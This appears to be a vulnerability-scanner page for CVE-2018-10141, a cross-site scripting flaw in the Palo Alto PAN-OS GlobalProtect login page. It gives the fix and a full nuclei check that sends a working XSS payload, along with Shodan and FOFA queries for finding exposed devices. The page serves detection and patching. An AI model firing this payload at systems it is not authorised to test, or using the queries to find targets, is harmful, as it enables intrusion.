Browse / CVEs / CVE-2018-10141
CVE-2018-10141· paloaltonetworks / pan-os· CWE-79
Palo Alto Networks PAN-OS GlobalProtect <8.1.4 - Cross-Site Scripting
Palo Alto Networks PAN-OS before 8.1.4 GlobalProtect Portal Login page allows an unauthenticated attacker to inject arbitrary JavaScript or HTML, making it vulnerable to cross-site scripting.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, data theft, or other malicious activities.
Fix
Upgrade to Palo Alto Networks PAN-OS GlobalProtect VPN client version 8.1.4 or later to mitigate this vulnerability.
How to confirm it
Send: GET {{BaseURL}}/global-protect/login.esp?user=j%22;-alert(1)-%22x
Positive when: contains "var valueUser = \"j\";-alert(1)-\"x\";" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2018-10141 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2018-10141
info:
name: Palo Alto Networks PAN-OS GlobalProtect <8.1.4 - Cross-Site Scripting
author: dhiyaneshDk
severity: medium
description: Palo Alto Networks PAN-OS before 8.1.4 GlobalProtect Portal Login page allows an unauthenticated attacker to inject arbitrary JavaScript or HTML, making it vulnerable to cross-site scripting.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, data theft, or other malicious activities.
remediation: |
Upgrade to Palo Alto Networks PAN-OS GlobalProtect VPN client version 8.1.4 or later to mitigate this vulnerability.
reference:
- https://security.paloaltonetworks.com/CVE-2018-10141
- https://nvd.nist.gov/vuln/detail/CVE-2018-10141
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/Elsfa7-110/kenzer-templates
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2018-10141
cwe-id: CWE-79
epss-score: 0.03883
epss-percentile: 0.90317
cpe: cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: paloaltonetworks
product: pan-os
shodan-query:
- http.favicon.hash:"-631559155"
- cpe:"cpe:2.3:o:paloaltonetworks:pan-os"
fofa-query: icon_hash="-631559155"
tags: cve,cve2018,panos,vpn,globalprotect,xss,paloaltonetworks,vuln
http:
- method: GET
path:
- '{{BaseURL}}/global-protect/login.esp?user=j%22;-alert(1)-%22x'
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'var valueUser = "j";-alert(1)-"x";'
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200References
- https://security.paloaltonetworks.com/CVE-2018-10141
- https://nvd.nist.gov/vuln/detail/CVE-2018-10141
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/Elsfa7-110/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from